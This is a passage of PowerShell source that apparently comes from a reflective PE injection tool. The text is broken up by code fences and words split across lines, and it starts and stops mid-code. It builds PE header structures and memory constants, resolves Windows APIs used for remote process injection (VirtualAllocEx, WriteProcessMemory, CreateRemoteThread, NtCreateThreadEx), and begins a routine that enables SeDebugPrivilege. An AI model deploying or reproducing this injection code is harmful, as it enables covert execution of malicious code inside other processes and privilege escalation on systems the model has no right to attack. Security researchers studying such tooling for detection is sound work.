        $AttribBuilder = New-Object System.Reflection.Emi
t.CustomAttributeBuilder($ConstructorInfo, $ConstructorVal
ue, $FieldArray, @([Int32] 8))
        $nameField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('VirtualSize', [UInt32],
'Public') | Out-Null
        $TypeBuilder.DefineField('VirtualAddress', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfRawData', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRawData', [UInt
32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRelocations',
[UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToLinenumbers',
[UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfRelocations', [U
Int16], 'Public') | Out-Null
```

```
        $TypeBuilder.DefineField('NumberOfLinenumbers', [U
Int16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt3
2], 'Public') | Out-Null
        $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

        #Struct IMAGE_BASE_RELOCATION
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BA
SE_RELOCATION', $Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('VirtualAddress', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfBlock', [UInt32],
'Public') | Out-Null
        $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

        #Struct IMAGE_IMPORT_DESCRIPTOR
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IM
PORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Characteristics', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('ForwarderChain', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('FirstThunk', [UInt32],
'Public') | Out-Null
```

```
        $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType
()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIP
TOR

        #Struct IMAGE_EXPORT_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EX
PORT_DIRECTORY', $Attributes, [System.ValueType], 40)
        $TypeBuilder.DefineField('Characteristics', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('MajorVersion', [UInt16],
'Public') | Out-Null
        $TypeBuilder.DefineField('MinorVersion', [UInt16],
'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('Base', [UInt32], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('NumberOfFunctions', [UIn
t32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfNames', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfFunctions', [UI
nt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNames', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNameOrdinals',
[UInt32], 'Public') | Out-Null
        $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType
()
        $Win32Types | Add-Member -MemberType NoteProperty
```

```
-Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTOR
Y

        #Struct LUID
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID',
$Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('LowPart', [UInt32], 'Pub
lic') | Out-Null
        $TypeBuilder.DefineField('HighPart', [UInt32], 'Pu
blic') | Out-Null
        $LUID = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name LUID -Value $LUID

        #Struct LUID_AND_ATTRIBUTES
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND
_ATTRIBUTES', $Attributes, [System.ValueType], 12)
        $TypeBuilder.DefineField('Luid', $LUID, 'Public')
| Out-Null
        $TypeBuilder.DefineField('Attributes', [UInt32],
'Public') | Out-Null
        $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES

        #Struct TOKEN_PRIVILEGES
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PR
IVILEGES', $Attributes, [System.ValueType], 16)
        $TypeBuilder.DefineField('PrivilegeCount', [UInt3
2], 'Public') | Out-Null
```

```
        $TypeBuilder.DefineField('Privileges', $LUID_AND_A
TTRIBUTES, 'Public') | Out-Null
        $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

        return $Win32Types
    }

    Function Get-Win32Constants
    {
        $Win32Constants = New-Object System.Object

        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name MEM_COMMIT -Value 0x00001000
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name MEM_RESERVE -Value 0x00002000
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_NOACCESS -Value 0x01
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_READONLY -Value 0x02
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_READWRITE -Value 0x04
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_WRITECOPY -Value 0x08
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_EXECUTE -Value 0x10
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_EXECUTE_READ -Value 0x20
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_EXECUTE_READWRITE -Value 0x40
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
        $Win32Constants | Add-Member -MemberType NotePrope
rty -Name PAGE_NOCACHE -Value 0x200
        $Win32Constants | Add-Member -MemberType NotePrope
```

```
rty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
        $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
        $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
```

```
        return $Win32Constants
    }

    Function Get-Win32Functions
    {
        $Win32Functions = New-Object System.Object

        $VirtualAllocAddr = Get-ProcAddress kernel32.dll V
irtualAlloc
        $VirtualAllocDelegate = Get-DelegateType @([IntPt
r], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAlloc = [System.Runtime.InteropServices.Ma
rshal]::GetDelegateForFunctionPointer($VirtualAllocAddr,
$VirtualAllocDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Vi
rtualAlloc -Value $VirtualAlloc

        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll
VirtualAllocEx
        $VirtualAllocExDelegate = Get-DelegateType @([IntP
tr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAllocEx = [System.Runtime.InteropServices.
Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAdd
r, $VirtualAllocExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Vi
rtualAllocEx -Value $VirtualAllocEx

        $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
        $memcpyDelegate = Get-DelegateType @([IntPtr], [In
tPtr], [UIntPtr]) ([IntPtr])
        $memcpy = [System.Runtime.InteropServices.Marsha
l]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDele
gate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name memcpy -Value $memcpy
```

```
        $memsetAddr = Get-ProcAddress msvcrt.dll memset
        $memsetDelegate = Get-DelegateType @([IntPtr], [In
t32], [IntPtr]) ([IntPtr])
        $memset = [System.Runtime.InteropServices.Marsha
l]::GetDelegateForFunctionPointer($memsetAddr, $memsetDele
gate)
        $Win32Functions | Add-Member -MemberType NoteProp
erty -Name memset -Value $memset

        $LoadLibraryAddr = Get-ProcAddress kernel32.dll Lo
adLibraryA
        $LoadLibraryDelegate = Get-DelegateType @([Strin
g]) ([IntPtr])
        $LoadLibrary = [System.Runtime.InteropServices.Mar
shal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $Lo
adLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProp
erty -Name LoadLibrary -Value $LoadLibrary

        $GetProcAddressAddr = Get-ProcAddress kernel32.dll
GetProcAddress
        $GetProcAddressDelegate = Get-DelegateType @([IntP
tr], [String]) ([IntPtr])
        $GetProcAddress = [System.Runtime.InteropServices.
Marshal]::GetDelegateForFunctionPointer($GetProcAddressAdd
r, $GetProcAddressDelegate)
        $Win32Functions | Add-Member -MemberType NoteProp
erty -Name GetProcAddress -Value $GetProcAddress

        $GetProcAddressIntPtrAddr = Get-ProcAddress kernel
32.dll GetProcAddress #This is still GetProcAddress, but i
nstead of PowerShell converting the string to a pointer, y
ou must do it yourself
        $GetProcAddressIntPtrDelegate = Get-DelegateType @
([IntPtr], [IntPtr]) ([IntPtr])
```

```
        $GetProcAddressIntPtr = [System.Runtime.InteropSer
vices.Marshal]::GetDelegateForFunctionPointer($GetProcAddr
essIntPtrAddr, $GetProcAddressIntPtrDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPt
r

        $VirtualFreeAddr = Get-ProcAddress kernel32.dll Vi
rtualFree
        $VirtualFreeDelegate = Get-DelegateType @([IntPt
r], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFree = [System.Runtime.InteropServices.Mar
shal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $Vi
rtualFreeDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Vi
rtualFree -Value $VirtualFree

        $VirtualFreeExAddr = Get-ProcAddress kernel32.dll
VirtualFreeEx
        $VirtualFreeExDelegate = Get-DelegateType @([IntPt
r], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFreeEx = [System.Runtime.InteropServices.M
arshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr,
$VirtualFreeExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Vi
rtualFreeEx -Value $VirtualFreeEx

        $VirtualProtectAddr = Get-ProcAddress kernel32.dll
VirtualProtect
        $VirtualProtectDelegate = Get-DelegateType @([IntP
tr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Boo
l])
        $VirtualProtect = [System.Runtime.InteropServices.
Marshal]::GetDelegateForFunctionPointer($VirtualProtectAdd
r, $VirtualProtectDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Vi
```

```
rtualProtect -Value $VirtualProtect

        $GetModuleHandleAddr = Get-ProcAddress kernel32.dl
l GetModuleHandleA
        $GetModuleHandleDelegate = Get-DelegateType @([Str
ing]) ([IntPtr])
        $GetModuleHandle = [System.Runtime.InteropService
s.Marshal]::GetDelegateForFunctionPointer($GetModuleHandle
Addr, $GetModuleHandleDelegate)
        $Win32Functions | Add-Member NoteProperty -Name Ge
tModuleHandle -Value $GetModuleHandle

        $FreeLibraryAddr = Get-ProcAddress kernel32.dll Fr
eeLibrary
        $FreeLibraryDelegate = Get-DelegateType @([IntPt
r]) ([Bool])
        $FreeLibrary = [System.Runtime.InteropServices.Mar
shal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $Fr
eeLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name FreeLibrary -Value $FreeLibrary

        $OpenProcessAddr = Get-ProcAddress kernel32.dll Op
enProcess
        $OpenProcessDelegate = Get-DelegateType @([UInt3
2], [Bool], [UInt32]) ([IntPtr])
        $OpenProcess = [System.Runtime.InteropServices.Mar
shal]::GetDelegateForFunctionPointer($OpenProcessAddr, $Op
enProcessDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name OpenProcess -Value $OpenProcess

        $WaitForSingleObjectAddr = Get-ProcAddress kernel3
2.dll WaitForSingleObject
        $WaitForSingleObjectDelegate = Get-DelegateType @
([IntPtr], [UInt32]) ([UInt32])
```

```
        $WaitForSingleObject = [System.Runtime.InteropServ
ices.Marshal]::GetDelegateForFunctionPointer($WaitForSingl
eObjectAddr, $WaitForSingleObjectDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name WaitForSingleObject -Value $WaitForSingleObject

        $WriteProcessMemoryAddr = Get-ProcAddress kernel3
2.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @
([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeBy
RefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServi
ces.Marshal]::GetDelegateForFunctionPointer($WriteProcessM
emoryAddr, $WriteProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name WriteProcessMemory -Value $WriteProcessMemory

        $ReadProcessMemoryAddr = Get-ProcAddress kernel32.
dll ReadProcessMemory
        $ReadProcessMemoryDelegate = Get-DelegateType @([I
ntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRef
Type()) ([Bool])
        $ReadProcessMemory = [System.Runtime.InteropServic
es.Marshal]::GetDelegateForFunctionPointer($ReadProcessMem
oryAddr, $ReadProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NotePrope
rty -Name ReadProcessMemory -Value $ReadProcessMemory

        $CreateRemoteThreadAddr = Get-ProcAddress kernel3
2.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @
([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt3
2], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServi
ces.Marshal]::GetDelegateForFunctionPointer($CreateRemoteT
hreadAddr, $CreateRemoteThreadDelegate)
```

```
        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

        $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

        $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken

        $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread

        $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
        $AdjustTokenPrivilegesDelegate = Get-DelegateType
```

```
@([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPt
r]) ([Bool])
        $AdjustTokenPrivileges = [System.Runtime.InteropSe
rvices.Marshal]::GetDelegateForFunctionPointer($AdjustToke
nPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
        $Win32Functions | Add-Member -MemberType NoteProper
ty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivile
ges

        $LookupPrivilegeValueAddr = Get-ProcAddress Advapi
32.dll LookupPrivilegeValueA
        $LookupPrivilegeValueDelegate = Get-DelegateType @
([String], [String], [IntPtr]) ([Bool])
        $LookupPrivilegeValue = [System.Runtime.InteropSer
vices.Marshal]::GetDelegateForFunctionPointer($LookupPrivi
legeValueAddr, $LookupPrivilegeValueDelegate)
        $Win32Functions | Add-Member -MemberType NoteProper
ty -Name LookupPrivilegeValue -Value $LookupPrivilegeValu
e

        $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dl
l ImpersonateSelf
        $ImpersonateSelfDelegate = Get-DelegateType @([Int
32]) ([Bool])
        $ImpersonateSelf = [System.Runtime.InteropService
s.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelf
Addr, $ImpersonateSelfDelegate)
        $Win32Functions | Add-Member -MemberType NoteProper
ty -Name ImpersonateSelf -Value $ImpersonateSelf

        # NtCreateThreadEx is only ever called on Vista an
d Win7. NtCreateThreadEx is not exported by ntdll.dll in W
indows XP
        if (([Environment]::OSVersion.Version -ge (New-Obj
ect 'Version' 6,0)) -and ([Environment]::OSVersion.Version
-lt (New-Object 'Version' 6,2))) {
```

```
            $NtCreateThreadExAddr = Get-ProcAddress NtDll.
dll NtCreateThreadEx
            $NtCreateThreadExDelegate = Get-DelegateType @
([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr],
[IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32],
[IntPtr]) ([UInt32])
            $NtCreateThreadEx = [System.Runtime.InteropSer
vices.Marshal]::GetDelegateForFunctionPointer($NtCreateThr
eadExAddr, $NtCreateThreadExDelegate)
            $Win32Functions | Add-Member -MemberType NoteP
roperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
        }

        $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll
IsWow64Process
        $IsWow64ProcessDelegate = Get-DelegateType @([IntP
tr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.
Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAdd
r, $IsWow64ProcessDelegate)
        $Win32Functions | Add-Member -MemberType NoteProper
ty -Name IsWow64Process -Value $IsWow64Process

        $CreateThreadAddr = Get-ProcAddress Kernel32.dll C
reateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPt
r], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeB
yRefType()) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Ma
rshal]::GetDelegateForFunctionPointer($CreateThreadAddr,
$CreateThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProper
ty -Name CreateThread -Value $CreateThread

        return $Win32Functions
    }
```

```
    Function Sub-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($V
alue1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($V
alue2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UI
nt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                $Val = $Value1Bytes[$i] - $CarryOver
                #Sub bytes
                if ($Val -lt $Value2Bytes[$i])
                {
                    $Val += 256
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }
```

```
                [UInt16]$Sum = $Val - $Value2Bytes[$i]

                $FinalBytes[$i] = $Sum -band 0x00FF
            }
        }
        else
        {
            Throw "Cannot subtract bytearrays of different
sizes"
        }

        return [BitConverter]::ToInt64($FinalBytes, 0)
    }

    Function Add-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($V
alue1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($V
alue2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UI
nt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
```

```
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                #Add bytes
                [UInt16]$Sum = $Value1Bytes[$i] + $Value2B
ytes[$i] + $CarryOver

                $FinalBytes[$i] = $Sum -band 0x00FF

                if (($Sum -band 0xFF00) -eq 0x100)
                {
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }
            }
        }
        else
        {
            Throw "Cannot add bytearrays of different size
s"
        }

        return [BitConverter]::ToInt64($FinalBytes, 0)
    }

    Function Compare-Val1GreaterThanVal2AsUInt
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
```

```
        $Value2
        )

        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($V
alue1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($V
alue2)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            for ($i = $Value1Bytes.Count-1; $i -ge 0; $i-
-)
            {
                if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
                {
                    return $true
                }
                elseif ($Value1Bytes[$i] -lt $Value2Bytes
[$i])
                {
                    return $false
                }
            }
        }
        else
        {
            Throw "Cannot compare byte arrays of different
size"
        }

        return $false
    }


    Function Convert-UIntToInt
    {
```

```
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt64]
        $Value
        )

        [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Va
lue)
        return ([BitConverter]::ToInt64($ValueBytes, 0))
    }


    Function Get-Hex
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        $Value #We will determine the type dynamically
        )

        $ValueSize = [System.Runtime.InteropServices.Marsh
al]::SizeOf([Type]$Value.GetType()) * 2
        $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Pa
ssing a IntPtr to this doesn't work well. Cast to Int64 fi
rst.

        return $Hex
    }

    Function Test-MemoryRangeValid
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $DebugString,

        [Parameter(Position = 1, Mandatory = $true)]
```

```
        [System.Object]
        $PEInfo,

        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,

        [Parameter(ParameterSetName = "Size", Position =
3, Mandatory = $true)]
        [IntPtr]
        $Size
        )

        [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntA
sUnsigned ($StartAddress) ($Size))

        $PEEndAddress = $PEInfo.EndAddress

        if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PE
Handle) ($StartAddress)) -eq $true)
        {
            Throw "Trying to write to memory smaller than
allocated address range. $DebugString"
        }
        if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndA
ddress) ($PEEndAddress)) -eq $true)
        {
            Throw "Trying to write to memory greater than
allocated address range. $DebugString"
        }
    }

    Function Write-BytesToMemory
    {
        Param(
            [Parameter(Position=0, Mandatory = $true)]
```

```
            [Byte[]]
            $Bytes,

            [Parameter(Position=1, Mandatory = $true)]
            [IntPtr]
            $MemoryAddress
        )

        for ($Offset = 0; $Offset -lt $Bytes.Length; $Offs
et++)
        {
            [System.Runtime.InteropServices.Marshal]::Writ
eByte($MemoryAddress, $Offset, $Bytes[$Offset])
        }
    }

    #Function written by Matt Graeber, Twitter: @mattifest
ation, Blog: http://www.exploit-monday.com/
    Function Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]

            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),

            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.Assemb
lyName('ReflectedDelegate')
```

```
        $AssemblyBuilder = $Domain.DefineDynamicAssembly
($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAcce
ss]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicMod
ule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelega
teType', 'Class, Public, Sealed, AnsiClass, AutoClass', [S
ystem.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstruct
or('RTSpecialName, HideBySig, Public', [System.Reflection.
CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtim
e, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invok
e', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $P
arameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Ma
naged')

        Write-Output $TypeBuilder.CreateType()
    }


    #Function written by Matt Graeber, Twitter: @mattifest
ation, Blog: http://www.exploit-monday.com/
    Function Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]

            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,

            [Parameter( Position = 1, Mandatory = $True )]
```

```
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAs
semblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.
Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Mi
crosoft.Win32.UnsafeNativeMethods')

        # Get a reference to the GetModuleHandle and GetPr
ocAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod
('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethods
() | Where {$_.Name -eq "GetProcAddress"} | Select-Object
-first 1

        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @
($Module))

        # Return the address of the function
        try
        {
            $tmpPtr = New-Object IntPtr
            $HandleRef = New-Object System.Runtime.Interop
Services.HandleRef($tmpPtr, $Kern32Handle)
            Write-Output $GetProcAddress.Invoke($null, @
([System.Runtime.InteropServices.HandleRef]$HandleRef, $Pr
ocedure))
        }
        catch
        {
```

```
            # Windows 10 v1803 needs $Kern32Handle as a Sy
stem.IntPtr instead of System.Runtime.InteropServices.Hand
leRef
            Write-Output $GetProcAddress.Invoke($null, @
($Kern32Handle, $Procedure))
        }
    }

    Function Enable-SeDebugPrivilege
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        [IntPtr]$ThreadHandle = $Win32Functions.GetCurrent
Thread.Invoke()
        if ($ThreadHandle -eq [IntPtr]::Zero)
        {
            Throw "Unable to get the handle to the current
thread"
        }

        [IntPtr]$ThreadToken = [IntPtr]::Zero
        [Bool]$Result = $Win32Functions.OpenThreadToken.In
